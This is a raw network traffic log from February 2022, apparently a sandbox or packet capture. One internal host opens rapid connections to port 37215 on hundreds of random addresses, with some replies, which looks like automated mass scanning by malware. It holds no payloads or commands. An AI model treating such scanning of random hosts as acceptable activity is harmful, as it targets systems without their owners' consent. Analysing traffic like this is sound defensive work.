Feb 20, 2022 16:02:46.698519945 CET	27221	37215	192.168.2.23	154.38.40.133
Feb 20, 2022 16:02:46.698537111 CET	27221	37215	192.168.2.23	154.202.6.61
Feb 20, 2022 16:02:46.698556900 CET	27221	37215	192.168.2.23	154.142.27.221
Feb 20, 2022 16:02:46.698580980 CET	27221	37215	192.168.2.23	154.71.91.189
Feb 20, 2022 16:02:46.698610067 CET	27221	37215	192.168.2.23	154.164.138.134
Feb 20, 2022 16:02:46.698632002 CET	27221	37215	192.168.2.23	154.89.32.91
Feb 20, 2022 16:02:46.698646069 CET	27221	37215	192.168.2.23	154.251.183.27
Feb 20, 2022 16:02:46.698674917 CET	27221	37215	192.168.2.23	154.246.107.114
Feb 20, 2022 16:02:46.698692083 CET	27221	37215	192.168.2.23	154.204.52.127
Feb 20, 2022 16:02:46.698723078 CET	27221	37215	192.168.2.23	154.105.176.165
Feb 20, 2022 16:02:46.698734999 CET	27221	37215	192.168.2.23	154.71.191.111
Feb 20, 2022 16:02:46.698759079 CET	27221	37215	192.168.2.23	154.176.242.206
Feb 20, 2022 16:02:46.698782921 CET	27221	37215	192.168.2.23	154.180.122.88
Feb 20, 2022 16:02:46.698811054 CET	27221	37215	192.168.2.23	154.225.213.159
Feb 20, 2022 16:02:46.698832989 CET	27221	37215	192.168.2.23	154.150.203.174
Feb 20, 2022 16:02:46.698849916 CET	27221	37215	192.168.2.23	154.232.230.155
Feb 20, 2022 16:02:46.698875904 CET	27221	37215	192.168.2.23	154.166.17.168
Feb 20, 2022 16:02:46.698899031 CET	27221	37215	192.168.2.23	154.58.105.251
Feb 20, 2022 16:02:46.698919058 CET	27221	37215	192.168.2.23	154.125.43.99
Feb 20, 2022 16:02:46.698942900 CET	27221	37215	192.168.2.23	154.5.63.162
Feb 20, 2022 16:02:46.698978901 CET	27221	37215	192.168.2.23	154.224.193.169
Feb 20, 2022 16:02:46.698990107 CET	27221	37215	192.168.2.23	154.176.173.98
Feb 20, 2022 16:02:46.699014902 CET	27221	37215	192.168.2.23	154.78.209.148
Feb 20, 2022 16:02:46.699039936 CET	27221	37215	192.168.2.23	154.82.198.133
Feb 20, 2022 16:02:46.699063063 CET	27221	37215	192.168.2.23	154.183.3.34
Feb 20, 2022 16:02:46.699085951 CET	27221	37215	192.168.2.23	154.5.157.55
Feb 20, 2022 16:02:46.699109077 CET	27221	37215	192.168.2.23	154.203.133.218
Feb 20, 2022 16:02:46.699136972 CET	27221	37215	192.168.2.23	154.120.57.101
Feb 20, 2022 16:02:46.699152946 CET	27221	37215	192.168.2.23	154.243.34.64
Feb 20, 2022 16:02:46.699177980 CET	27221	37215	192.168.2.23	154.89.184.235
Feb 20, 2022 16:02:46.699194908 CET	27221	37215	192.168.2.23	154.24.175.112
Feb 20, 2022 16:02:46.699219942 CET	27221	37215	192.168.2.23	154.188.164.121
Feb 20, 2022 16:02:46.699243069 CET	27221	37215	192.168.2.23	154.188.156.82
Feb 20, 2022 16:02:46.699261904 CET	27221	37215	192.168.2.23	154.221.191.148
Feb 20, 2022 16:02:46.699291945 CET	27221	37215	192.168.2.23	154.49.73.154
Feb 20, 2022 16:02:46.699306965 CET	27221	37215	192.168.2.23	154.190.199.36
Feb 20, 2022 16:02:46.699326038 CET	27221	37215	192.168.2.23	154.225.141.211
Feb 20, 2022 16:02:46.699351072 CET	27221	37215	192.168.2.23	154.109.110.124
Feb 20, 2022 16:02:46.699369907 CET	27221	37215	192.168.2.23	154.39.121.30
Feb 20, 2022 16:02:46.699393034 CET	27221	37215	192.168.2.23	154.21.18.126
Feb 20, 2022 16:02:46.699423075 CET	27221	37215	192.168.2.23	154.188.217.48
Feb 20, 2022 16:02:46.699439049 CET	27221	37215	192.168.2.23	154.134.190.109
Feb 20, 2022 16:02:46.699464083 CET	27221	37215	192.168.2.23	154.230.154.48
Feb 20, 2022 16:02:46.699486971 CET	27221	37215	192.168.2.23	154.131.254.84
Feb 20, 2022 16:02:46.699502945 CET	27221	37215	192.168.2.23	154.181.195.188
Feb 20, 2022 16:02:46.699532986 CET	27221	37215	192.168.2.23	154.221.60.178
Feb 20, 2022 16:02:46.699558020 CET	27221	37215	192.168.2.23	154.127.64.22
Feb 20, 2022 16:02:46.699583054 CET	27221	37215	192.168.2.23	154.13.171.144
Feb 20, 2022 16:02:46.699609995 CET	27221	37215	192.168.2.23	154.93.212.75
Feb 20, 2022 16:02:46.699631929 CET	27221	37215	192.168.2.23	154.180.202.62
Feb 20, 2022 16:02:46.699645996 CET	27221	37215	192.168.2.23	154.48.121.87
Feb 20, 2022 16:02:46.699661016 CET	27221	37215	192.168.2.23	154.212.98.207
Feb 20, 2022 16:02:46.699692965 CET	27221	37215	192.168.2.23	154.134.129.147
Feb 20, 2022 16:02:46.699711084 CET	27221	37215	192.168.2.23	154.229.244.216
Feb 20, 2022 16:02:46.699731112 CET	27221	37215	192.168.2.23	154.121.183.104
Feb 20, 2022 16:02:46.699752092 CET	27221	37215	192.168.2.23	154.153.26.116
Feb 20, 2022 16:02:46.699774027 CET	27221	37215	192.168.2.23	154.68.17.164
Feb 20, 2022 16:02:46.699800968 CET	27221	37215	192.168.2.23	154.191.80.238
Feb 20, 2022 16:02:46.699822903 CET	27221	37215	192.168.2.23	154.4.75.101
Feb 20, 2022 16:02:46.699846983 CET	27221	37215	192.168.2.23	154.253.25.111
Feb 20, 2022 16:02:46.699866056 CET	27221	37215	192.168.2.23	154.33.114.137
Feb 20, 2022 16:02:46.699889898 CET	27221	37215	192.168.2.23	154.69.59.201
Feb 20, 2022 16:02:46.699911118 CET	27221	37215	192.168.2.23	154.185.111.74
Feb 20, 2022 16:02:46.699935913 CET	27221	37215	192.168.2.23	154.101.216.103
Feb 20, 2022 16:02:46.699964046 CET	27221	37215	192.168.2.23	154.246.123.65
Feb 20, 2022 16:02:46.699980974 CET	27221	37215	192.168.2.23	154.158.44.64
Feb 20, 2022 16:02:46.700006008 CET	27221	37215	192.168.2.23	154.184.200.247
Feb 20, 2022 16:02:46.700022936 CET	27221	37215	192.168.2.23	154.68.147.205
Feb 20, 2022 16:02:46.700042963 CET	27221	37215	192.168.2.23	154.191.247.218
Feb 20, 2022 16:02:46.700071096 CET	27221	37215	192.168.2.23	154.74.20.29
Feb 20, 2022 16:02:46.700089931 CET	27221	37215	192.168.2.23	154.3.228.81
Feb 20, 2022 16:02:46.700109959 CET	27221	37215	192.168.2.23	154.11.0.10
Feb 20, 2022 16:02:46.700136900 CET	27221	37215	192.168.2.23	154.43.121.31
Feb 20, 2022 16:02:46.700151920 CET	27221	37215	192.168.2.23	154.168.162.122
Feb 20, 2022 16:02:46.700180054 CET	27221	37215	192.168.2.23	154.139.103.95
Feb 20, 2022 16:02:46.700211048 CET	27221	37215	192.168.2.23	154.218.133.199
Feb 20, 2022 16:02:46.700227976 CET	27221	37215	192.168.2.23	154.0.132.142
Feb 20, 2022 16:02:46.700251102 CET	27221	37215	192.168.2.23	154.70.49.183
Feb 20, 2022 16:02:46.700268984 CET	27221	37215	192.168.2.23	154.127.34.49
Feb 20, 2022 16:02:46.700294018 CET	27221	37215	192.168.2.23	154.12.179.9
Feb 20, 2022 16:02:46.700321913 CET	27221	37215	192.168.2.23	154.4.220.234
Feb 20, 2022 16:02:46.700335026 CET	27221	37215	192.168.2.23	154.219.241.40
Feb 20, 2022 16:02:46.700354099 CET	27221	37215	192.168.2.23	154.135.205.241
Feb 20, 2022 16:02:46.700383902 CET	27221	37215	192.168.2.23	154.162.137.76
Feb 20, 2022 16:02:46.700402975 CET	27221	37215	192.168.2.23	154.172.249.201
Feb 20, 2022 16:02:46.700422049 CET	27221	37215	192.168.2.23	154.88.19.59
Feb 20, 2022 16:02:46.700445890 CET	27221	37215	192.168.2.23	154.48.37.238
Feb 20, 2022 16:02:46.700469017 CET	27221	37215	192.168.2.23	154.231.26.46
Feb 20, 2022 16:02:46.700499058 CET	27221	37215	192.168.2.23	154.214.173.221
Feb 20, 2022 16:02:46.700512886 CET	27221	37215	192.168.2.23	154.112.191.194
Feb 20, 2022 16:02:46.700536013 CET	27221	37215	192.168.2.23	154.100.61.6
Feb 20, 2022 16:02:46.700561047 CET	27221	37215	192.168.2.23	154.30.85.13
Feb 20, 2022 16:02:46.700583935 CET	27221	37215	192.168.2.23	154.161.85.202
Feb 20, 2022 16:02:46.700608969 CET	27221	37215	192.168.2.23	154.110.215.203
Feb 20, 2022 16:02:46.700627089 CET	27221	37215	192.168.2.23	154.155.229.176
Feb 20, 2022 16:02:46.700642109 CET	27221	37215	192.168.2.23	154.138.115.59
Feb 20, 2022 16:02:46.700673103 CET	27221	37215	192.168.2.23	154.157.11.167
Feb 20, 2022 16:02:46.700696945 CET	27221	37215	192.168.2.23	154.107.146.85
Feb 20, 2022 16:02:46.700720072 CET	27221	37215	192.168.2.23	154.49.237.236
Feb 20, 2022 16:02:46.700737953 CET	27221	37215	192.168.2.23	154.196.85.94
Feb 20, 2022 16:02:46.700757027 CET	27221	37215	192.168.2.23	154.90.214.112
Feb 20, 2022 16:02:46.700783968 CET	27221	37215	192.168.2.23	154.120.170.214
Feb 20, 2022 16:02:46.700809956 CET	27221	37215	192.168.2.23	154.20.25.115
Feb 20, 2022 16:02:46.700829983 CET	27221	37215	192.168.2.23	154.182.169.151
Feb 20, 2022 16:02:46.700850964 CET	27221	37215	192.168.2.23	154.127.158.96
Feb 20, 2022 16:02:46.700869083 CET	27221	37215	192.168.2.23	154.174.77.182
Feb 20, 2022 16:02:46.700891018 CET	27221	37215	192.168.2.23	154.136.82.6
Feb 20, 2022 16:02:46.700911045 CET	27221	37215	192.168.2.23	154.218.7.216
Feb 20, 2022 16:02:46.700937033 CET	27221	37215	192.168.2.23	154.58.87.238
Feb 20, 2022 16:02:46.700965881 CET	27221	37215	192.168.2.23	154.101.128.36
Feb 20, 2022 16:02:46.700980902 CET	27221	37215	192.168.2.23	154.126.190.156
Feb 20, 2022 16:02:46.701004982 CET	27221	37215	192.168.2.23	154.176.141.221
Feb 20, 2022 16:02:46.701025963 CET	27221	37215	192.168.2.23	154.117.109.51
Feb 20, 2022 16:02:46.701051950 CET	27221	37215	192.168.2.23	154.189.234.91
Feb 20, 2022 16:02:46.701066017 CET	27221	37215	192.168.2.23	154.247.242.13
Feb 20, 2022 16:02:46.701091051 CET	27221	37215	192.168.2.23	154.45.148.75
Feb 20, 2022 16:02:46.701114893 CET	27221	37215	192.168.2.23	154.53.42.210
Feb 20, 2022 16:02:46.701138973 CET	27221	37215	192.168.2.23	154.66.245.173
Feb 20, 2022 16:02:46.701153040 CET	27221	37215	192.168.2.23	154.250.157.154
Feb 20, 2022 16:02:46.701176882 CET	27221	37215	192.168.2.23	154.94.153.224
Feb 20, 2022 16:02:46.701205969 CET	27221	37215	192.168.2.23	154.110.246.100
Feb 20, 2022 16:02:46.701224089 CET	27221	37215	192.168.2.23	154.167.27.84
Feb 20, 2022 16:02:46.701245070 CET	27221	37215	192.168.2.23	154.191.253.203
Feb 20, 2022 16:02:46.701278925 CET	27221	37215	192.168.2.23	154.172.9.235
Feb 20, 2022 16:02:46.701301098 CET	27221	37215	192.168.2.23	154.175.31.130
Feb 20, 2022 16:02:46.701323032 CET	27221	37215	192.168.2.23	154.99.111.97
Feb 20, 2022 16:02:46.701347113 CET	27221	37215	192.168.2.23	154.87.198.90
Feb 20, 2022 16:02:46.701366901 CET	27221	37215	192.168.2.23	154.101.187.144
Feb 20, 2022 16:02:46.701407909 CET	27221	37215	192.168.2.23	154.88.186.26
Feb 20, 2022 16:02:46.701423883 CET	27221	37215	192.168.2.23	154.237.204.83
Feb 20, 2022 16:02:46.701437950 CET	27221	37215	192.168.2.23	154.203.187.183
Feb 20, 2022 16:02:46.701462984 CET	27221	37215	192.168.2.23	154.104.4.49
Feb 20, 2022 16:02:46.701482058 CET	27221	37215	192.168.2.23	154.76.2.112
Feb 20, 2022 16:02:46.701499939 CET	27221	37215	192.168.2.23	154.51.46.198
Feb 20, 2022 16:02:46.701524019 CET	27221	37215	192.168.2.23	154.13.131.229
Feb 20, 2022 16:02:46.701555014 CET	27221	37215	192.168.2.23	154.200.65.110
Feb 20, 2022 16:02:46.701572895 CET	27221	37215	192.168.2.23	154.247.87.10
Feb 20, 2022 16:02:46.701592922 CET	27221	37215	192.168.2.23	154.86.157.188
Feb 20, 2022 16:02:46.701613903 CET	27221	37215	192.168.2.23	154.89.6.231
Feb 20, 2022 16:02:46.701632023 CET	27221	37215	192.168.2.23	154.199.27.137
Feb 20, 2022 16:02:46.701654911 CET	27221	37215	192.168.2.23	154.231.49.231
Feb 20, 2022 16:02:46.701683998 CET	27221	37215	192.168.2.23	154.26.130.66
Feb 20, 2022 16:02:46.701694965 CET	27221	37215	192.168.2.23	154.254.152.65
Feb 20, 2022 16:02:46.701729059 CET	27221	37215	192.168.2.23	154.161.111.147
Feb 20, 2022 16:02:46.701744080 CET	27221	37215	192.168.2.23	154.182.183.235
Feb 20, 2022 16:02:46.701771975 CET	27221	37215	192.168.2.23	154.248.102.139
Feb 20, 2022 16:02:46.701796055 CET	27221	37215	192.168.2.23	154.229.224.119
Feb 20, 2022 16:02:46.701811075 CET	27221	37215	192.168.2.23	154.40.217.234
Feb 20, 2022 16:02:46.701844931 CET	27221	37215	192.168.2.23	154.70.191.2
Feb 20, 2022 16:02:46.701875925 CET	27221	37215	192.168.2.23	154.167.170.107
Feb 20, 2022 16:02:46.701889992 CET	27221	37215	192.168.2.23	154.36.126.254
Feb 20, 2022 16:02:46.701904058 CET	27221	37215	192.168.2.23	154.136.51.46
Feb 20, 2022 16:02:46.701926947 CET	27221	37215	192.168.2.23	154.94.206.125
Feb 20, 2022 16:02:46.701950073 CET	27221	37215	192.168.2.23	154.209.128.54
Feb 20, 2022 16:02:46.701975107 CET	27221	37215	192.168.2.23	154.223.182.147
Feb 20, 2022 16:02:46.701988935 CET	27221	37215	192.168.2.23	154.187.146.41
Feb 20, 2022 16:02:46.702023983 CET	27221	37215	192.168.2.23	154.37.121.139
Feb 20, 2022 16:02:46.702034950 CET	27221	37215	192.168.2.23	154.47.160.107
Feb 20, 2022 16:02:46.702071905 CET	27221	37215	192.168.2.23	154.29.210.0
Feb 20, 2022 16:02:46.702079058 CET	27221	37215	192.168.2.23	154.217.53.12
Feb 20, 2022 16:02:46.702101946 CET	27221	37215	192.168.2.23	154.157.220.252
Feb 20, 2022 16:02:46.702121019 CET	27221	37215	192.168.2.23	154.231.12.30
Feb 20, 2022 16:02:46.702152014 CET	27221	37215	192.168.2.23	154.168.243.199
Feb 20, 2022 16:02:46.702163935 CET	27221	37215	192.168.2.23	154.201.237.151
Feb 20, 2022 16:02:46.702183008 CET	27221	37215	192.168.2.23	154.213.111.207
Feb 20, 2022 16:02:46.702214003 CET	27221	37215	192.168.2.23	154.137.196.243
Feb 20, 2022 16:02:46.702231884 CET	27221	37215	192.168.2.23	154.246.55.226
Feb 20, 2022 16:02:46.702259064 CET	27221	37215	192.168.2.23	154.98.29.248
Feb 20, 2022 16:02:46.702275038 CET	27221	37215	192.168.2.23	154.30.175.205
Feb 20, 2022 16:02:46.702292919 CET	27221	37215	192.168.2.23	154.89.248.214
Feb 20, 2022 16:02:46.702320099 CET	27221	37215	192.168.2.23	154.21.179.117
Feb 20, 2022 16:02:46.702334881 CET	27221	37215	192.168.2.23	154.35.179.154
Feb 20, 2022 16:02:46.702363014 CET	27221	37215	192.168.2.23	154.251.182.119
Feb 20, 2022 16:02:46.702380896 CET	27221	37215	192.168.2.23	154.27.33.102
Feb 20, 2022 16:02:46.702399969 CET	27221	37215	192.168.2.23	154.224.160.58
Feb 20, 2022 16:02:46.702431917 CET	27221	37215	192.168.2.23	154.86.235.86
Feb 20, 2022 16:02:46.702455997 CET	27221	37215	192.168.2.23	154.223.36.219
Feb 20, 2022 16:02:46.702485085 CET	27221	37215	192.168.2.23	154.57.138.13
Feb 20, 2022 16:02:46.702487946 CET	27221	37215	192.168.2.23	154.151.97.233
Feb 20, 2022 16:02:46.702522039 CET	27221	37215	192.168.2.23	154.193.41.79
Feb 20, 2022 16:02:46.702538967 CET	27221	37215	192.168.2.23	154.109.247.134
Feb 20, 2022 16:02:46.702563047 CET	27221	37215	192.168.2.23	154.27.204.31
Feb 20, 2022 16:02:46.702578068 CET	27221	37215	192.168.2.23	154.49.224.44
Feb 20, 2022 16:02:46.702600956 CET	27221	37215	192.168.2.23	154.21.30.58
Feb 20, 2022 16:02:46.702627897 CET	27221	37215	192.168.2.23	154.252.148.1
Feb 20, 2022 16:02:46.702639103 CET	27221	37215	192.168.2.23	154.43.229.21
Feb 20, 2022 16:02:46.702665091 CET	27221	37215	192.168.2.23	154.190.130.55
Feb 20, 2022 16:02:46.702685118 CET	27221	37215	192.168.2.23	154.135.214.16
Feb 20, 2022 16:02:46.702701092 CET	27221	37215	192.168.2.23	154.143.32.6
Feb 20, 2022 16:02:46.702729940 CET	27221	37215	192.168.2.23	154.34.140.14
Feb 20, 2022 16:02:46.702759027 CET	27221	37215	192.168.2.23	154.99.57.166
Feb 20, 2022 16:02:46.702781916 CET	27221	37215	192.168.2.23	154.111.226.102
Feb 20, 2022 16:02:46.702800989 CET	27221	37215	192.168.2.23	154.255.52.172
Feb 20, 2022 16:02:46.702824116 CET	27221	37215	192.168.2.23	154.113.77.116
Feb 20, 2022 16:02:46.702842951 CET	27221	37215	192.168.2.23	154.218.92.116
Feb 20, 2022 16:02:46.702873945 CET	27221	37215	192.168.2.23	154.186.19.116
Feb 20, 2022 16:02:46.702898026 CET	27221	37215	192.168.2.23	154.233.70.122
Feb 20, 2022 16:02:46.702917099 CET	27221	37215	192.168.2.23	154.38.94.144
Feb 20, 2022 16:02:46.702944994 CET	27221	37215	192.168.2.23	154.144.126.192
Feb 20, 2022 16:02:46.702965975 CET	27221	37215	192.168.2.23	154.200.26.113
Feb 20, 2022 16:02:46.702986002 CET	27221	37215	192.168.2.23	154.129.57.17
Feb 20, 2022 16:02:46.703008890 CET	27221	37215	192.168.2.23	154.162.252.10
Feb 20, 2022 16:02:46.703022003 CET	27221	37215	192.168.2.23	154.42.128.115
Feb 20, 2022 16:02:46.703044891 CET	27221	37215	192.168.2.23	154.51.77.52
Feb 20, 2022 16:02:46.703071117 CET	27221	37215	192.168.2.23	154.55.51.146
Feb 20, 2022 16:02:46.703100920 CET	27221	37215	192.168.2.23	154.138.171.111
Feb 20, 2022 16:02:46.703102112 CET	27221	37215	192.168.2.23	154.25.93.33
Feb 20, 2022 16:02:46.703128099 CET	27221	37215	192.168.2.23	154.247.76.3
Feb 20, 2022 16:02:46.703146935 CET	27221	37215	192.168.2.23	154.111.201.31
Feb 20, 2022 16:02:46.703169107 CET	27221	37215	192.168.2.23	154.163.141.114
Feb 20, 2022 16:02:46.703198910 CET	27221	37215	192.168.2.23	154.139.74.92
Feb 20, 2022 16:02:46.703221083 CET	27221	37215	192.168.2.23	154.183.119.163
Feb 20, 2022 16:02:46.703244925 CET	27221	37215	192.168.2.23	154.132.147.245
Feb 20, 2022 16:02:46.703260899 CET	27221	37215	192.168.2.23	154.198.158.177
Feb 20, 2022 16:02:46.703280926 CET	27221	37215	192.168.2.23	154.172.233.108
Feb 20, 2022 16:02:46.703295946 CET	27221	37215	192.168.2.23	154.160.7.201
Feb 20, 2022 16:02:46.703320026 CET	27221	37215	192.168.2.23	154.196.92.66
Feb 20, 2022 16:02:46.703346968 CET	27221	37215	192.168.2.23	154.109.241.120
Feb 20, 2022 16:02:46.703366041 CET	27221	37215	192.168.2.23	154.15.55.61
Feb 20, 2022 16:02:46.703383923 CET	27221	37215	192.168.2.23	154.234.220.86
Feb 20, 2022 16:02:46.703407049 CET	27221	37215	192.168.2.23	154.8.58.45
Feb 20, 2022 16:02:46.703432083 CET	27221	37215	192.168.2.23	154.123.178.172
Feb 20, 2022 16:02:46.703454971 CET	27221	37215	192.168.2.23	154.232.7.82
Feb 20, 2022 16:02:46.703471899 CET	27221	37215	192.168.2.23	154.98.10.36
Feb 20, 2022 16:02:46.703505039 CET	27221	37215	192.168.2.23	154.89.52.211
Feb 20, 2022 16:02:46.703531027 CET	27221	37215	192.168.2.23	154.0.38.86
Feb 20, 2022 16:02:46.703546047 CET	27221	37215	192.168.2.23	154.26.117.118
Feb 20, 2022 16:02:46.703571081 CET	27221	37215	192.168.2.23	154.138.38.94
Feb 20, 2022 16:02:46.703602076 CET	27221	37215	192.168.2.23	154.190.218.91
Feb 20, 2022 16:02:46.703613997 CET	27221	37215	192.168.2.23	154.140.53.6
Feb 20, 2022 16:02:46.703646898 CET	27221	37215	192.168.2.23	154.126.176.63
Feb 20, 2022 16:02:46.703670979 CET	27221	37215	192.168.2.23	154.85.41.128
Feb 20, 2022 16:02:46.703687906 CET	27221	37215	192.168.2.23	154.164.243.11
Feb 20, 2022 16:02:46.703710079 CET	27221	37215	192.168.2.23	154.210.190.79
Feb 20, 2022 16:02:46.703732967 CET	27221	37215	192.168.2.23	154.153.91.40
Feb 20, 2022 16:02:46.703759909 CET	27221	37215	192.168.2.23	154.91.35.139
Feb 20, 2022 16:02:46.703788996 CET	27221	37215	192.168.2.23	154.99.24.25
Feb 20, 2022 16:02:46.703804016 CET	27221	37215	192.168.2.23	154.201.157.62
Feb 20, 2022 16:02:46.703823090 CET	27221	37215	192.168.2.23	154.166.79.230
Feb 20, 2022 16:02:46.703852892 CET	27221	37215	192.168.2.23	154.202.12.22
Feb 20, 2022 16:02:46.703874111 CET	27221	37215	192.168.2.23	154.224.56.54
Feb 20, 2022 16:02:46.703891039 CET	27221	37215	192.168.2.23	154.135.37.217
Feb 20, 2022 16:02:46.703917980 CET	27221	37215	192.168.2.23	154.15.156.69
Feb 20, 2022 16:02:46.703933001 CET	27221	37215	192.168.2.23	154.209.251.123
Feb 20, 2022 16:02:46.703958035 CET	27221	37215	192.168.2.23	154.211.254.225
Feb 20, 2022 16:02:46.703979969 CET	27221	37215	192.168.2.23	154.214.61.70
Feb 20, 2022 16:02:46.703999996 CET	27221	37215	192.168.2.23	154.128.74.211
Feb 20, 2022 16:02:46.704020023 CET	27221	37215	192.168.2.23	154.108.185.197
Feb 20, 2022 16:02:46.704042912 CET	27221	37215	192.168.2.23	154.116.248.82
Feb 20, 2022 16:02:46.704066038 CET	27221	37215	192.168.2.23	154.185.108.228
Feb 20, 2022 16:02:46.704087973 CET	27221	37215	192.168.2.23	154.50.201.37
Feb 20, 2022 16:02:46.704099894 CET	27221	37215	192.168.2.23	154.208.44.148
Feb 20, 2022 16:02:46.704132080 CET	27221	37215	192.168.2.23	154.65.170.79
Feb 20, 2022 16:02:46.704145908 CET	27221	37215	192.168.2.23	154.126.94.208
Feb 20, 2022 16:02:46.704178095 CET	27221	37215	192.168.2.23	154.96.214.58
Feb 20, 2022 16:02:46.704200983 CET	27221	37215	192.168.2.23	154.27.77.38
Feb 20, 2022 16:02:46.704216003 CET	27221	37215	192.168.2.23	154.33.109.246
Feb 20, 2022 16:02:46.704236031 CET	27221	37215	192.168.2.23	154.199.235.182
Feb 20, 2022 16:02:46.704255104 CET	27221	37215	192.168.2.23	154.249.140.251
Feb 20, 2022 16:02:46.704281092 CET	27221	37215	192.168.2.23	154.242.141.71
Feb 20, 2022 16:02:46.704302073 CET	27221	37215	192.168.2.23	154.121.127.20
Feb 20, 2022 16:02:46.704322100 CET	27221	37215	192.168.2.23	154.247.189.18
Feb 20, 2022 16:02:46.704351902 CET	27221	37215	192.168.2.23	154.175.219.126
Feb 20, 2022 16:02:46.711126089 CET	37215	27221	154.17.77.181	192.168.2.23
Feb 20, 2022 16:02:46.735563040 CET	37215	27221	102.153.3.237	192.168.2.23
Feb 20, 2022 16:02:46.771701097 CET	37215	27477	102.27.78.176	192.168.2.23
Feb 20, 2022 16:02:46.789324045 CET	37215	27221	154.12.5.221	192.168.2.23
Feb 20, 2022 16:02:46.792433023 CET	37215	27221	154.38.141.207	192.168.2.23
Feb 20, 2022 16:02:46.799690962 CET	37215	27221	154.124.222.207	192.168.2.23
Feb 20, 2022 16:02:46.803505898 CET	37215	27477	102.30.225.113	192.168.2.23
Feb 20, 2022 16:02:46.806504965 CET	37215	27221	154.13.131.229	192.168.2.23
Feb 20, 2022 16:02:46.806898117 CET	37215	27221	154.53.86.26	192.168.2.23
Feb 20, 2022 16:02:46.807410002 CET	37215	27221	102.27.83.112	192.168.2.23
Feb 20, 2022 16:02:46.809089899 CET	37215	27221	154.3.228.81	192.168.2.23
Feb 20, 2022 16:02:46.809573889 CET	37215	27221	154.16.41.17	192.168.2.23
Feb 20, 2022 16:02:46.814904928 CET	37215	27221	154.126.167.215	192.168.2.23
Feb 20, 2022 16:02:46.841135979 CET	37215	27221	154.30.175.205	192.168.2.23
Feb 20, 2022 16:02:46.842436075 CET	37215	27221	154.150.70.142	192.168.2.23
Feb 20, 2022 16:02:46.853573084 CET	37215	27221	154.127.52.60	192.168.2.23
Feb 20, 2022 16:02:46.855051041 CET	37215	27221	154.127.48.15	192.168.2.23
Feb 20, 2022 16:02:46.863545895 CET	55344	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:46.863563061 CET	44846	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:46.865631104 CET	37215	27221	154.18.16.127	192.168.2.23
Feb 20, 2022 16:02:46.865645885 CET	37215	27221	154.26.250.153	192.168.2.23
Feb 20, 2022 16:02:46.865658998 CET	37215	27221	154.91.182.248	192.168.2.23
Feb 20, 2022 16:02:46.865763903 CET	27221	37215	192.168.2.23	154.26.250.153
Feb 20, 2022 16:02:46.865865946 CET	27221	37215	192.168.2.23	154.91.182.248
Feb 20, 2022 16:02:46.867021084 CET	37215	27221	154.81.218.81	192.168.2.23
Feb 20, 2022 16:02:46.868021965 CET	37215	27221	154.65.243.131	192.168.2.23
Feb 20, 2022 16:02:46.868469000 CET	37215	27221	154.90.51.215	192.168.2.23
Feb 20, 2022 16:02:46.869434118 CET	37215	27221	154.7.84.84	192.168.2.23
Feb 20, 2022 16:02:46.870624065 CET	37215	27221	154.21.217.114	192.168.2.23
Feb 20, 2022 16:02:46.874305010 CET	37215	27221	154.94.206.125	192.168.2.23
Feb 20, 2022 16:02:46.874378920 CET	37215	27221	154.21.30.58	192.168.2.23
Feb 20, 2022 16:02:46.875541925 CET	37215	27221	102.29.137.45	192.168.2.23
Feb 20, 2022 16:02:46.877630949 CET	37215	27221	154.220.237.147	192.168.2.23
Feb 20, 2022 16:02:46.879678011 CET	37215	27221	154.209.128.54	192.168.2.23
Feb 20, 2022 16:02:46.879738092 CET	27221	37215	192.168.2.23	154.209.128.54
Feb 20, 2022 16:02:46.884100914 CET	37215	27221	154.208.118.6	192.168.2.23
Feb 20, 2022 16:02:46.886310101 CET	37215	27221	102.29.200.132	192.168.2.23
Feb 20, 2022 16:02:46.891288042 CET	37215	27221	154.206.121.25	192.168.2.23
Feb 20, 2022 16:02:46.898792028 CET	37215	27477	102.24.138.98	192.168.2.23
Feb 20, 2022 16:02:46.904020071 CET	37215	27221	154.218.133.199	192.168.2.23
Feb 20, 2022 16:02:46.909866095 CET	37215	27221	154.218.135.78	192.168.2.23
Feb 20, 2022 16:02:46.940181017 CET	37215	27221	154.123.195.150	192.168.2.23
Feb 20, 2022 16:02:46.949419975 CET	37215	27221	154.223.182.147	192.168.2.23
Feb 20, 2022 16:02:46.985313892 CET	37215	27221	154.89.99.139	192.168.2.23
Feb 20, 2022 16:02:46.985605001 CET	27221	37215	192.168.2.23	154.89.99.139
Feb 20, 2022 16:02:46.985703945 CET	37215	27221	154.197.187.211	192.168.2.23
Feb 20, 2022 16:02:46.985796928 CET	27221	37215	192.168.2.23	154.197.187.211
Feb 20, 2022 16:02:47.004719019 CET	37215	27221	154.145.32.32	192.168.2.23
Feb 20, 2022 16:02:47.007337093 CET	37215	27477	102.24.198.22	192.168.2.23
Feb 20, 2022 16:02:47.014323950 CET	37215	27221	154.209.46.132	192.168.2.23
Feb 20, 2022 16:02:47.028002977 CET	37215	27221	154.201.157.62	192.168.2.23
Feb 20, 2022 16:02:47.070902109 CET	37215	27477	102.24.119.206	192.168.2.23
Feb 20, 2022 16:02:47.165425062 CET	37215	27477	102.30.6.142	192.168.2.23
Feb 20, 2022 16:02:47.198998928 CET	37215	27477	102.24.12.98	192.168.2.23
Feb 20, 2022 16:02:47.234327078 CET	37215	27221	154.122.149.113	192.168.2.23
Feb 20, 2022 16:02:47.259804010 CET	37215	27477	102.27.7.41	192.168.2.23
Feb 20, 2022 16:02:47.260406971 CET	27477	37215	192.168.2.23	154.181.123.223
Feb 20, 2022 16:02:47.260473013 CET	27477	37215	192.168.2.23	154.169.235.164
Feb 20, 2022 16:02:47.260538101 CET	27477	37215	192.168.2.23	154.176.203.209
Feb 20, 2022 16:02:47.260611057 CET	27477	37215	192.168.2.23	154.154.229.232
Feb 20, 2022 16:02:47.260629892 CET	27477	37215	192.168.2.23	154.248.17.50
Feb 20, 2022 16:02:47.260699987 CET	27477	37215	192.168.2.23	154.11.232.133
Feb 20, 2022 16:02:47.260705948 CET	27477	37215	192.168.2.23	154.116.58.184
Feb 20, 2022 16:02:47.260826111 CET	27477	37215	192.168.2.23	154.21.253.115
Feb 20, 2022 16:02:47.260847092 CET	27477	37215	192.168.2.23	154.1.63.37
Feb 20, 2022 16:02:47.260864973 CET	27477	37215	192.168.2.23	154.237.78.198
Feb 20, 2022 16:02:47.260890007 CET	27477	37215	192.168.2.23	154.137.61.178
Feb 20, 2022 16:02:47.260914087 CET	27477	37215	192.168.2.23	154.64.54.89
Feb 20, 2022 16:02:47.260956049 CET	27477	37215	192.168.2.23	154.112.131.162
Feb 20, 2022 16:02:47.260992050 CET	27477	37215	192.168.2.23	154.154.151.171
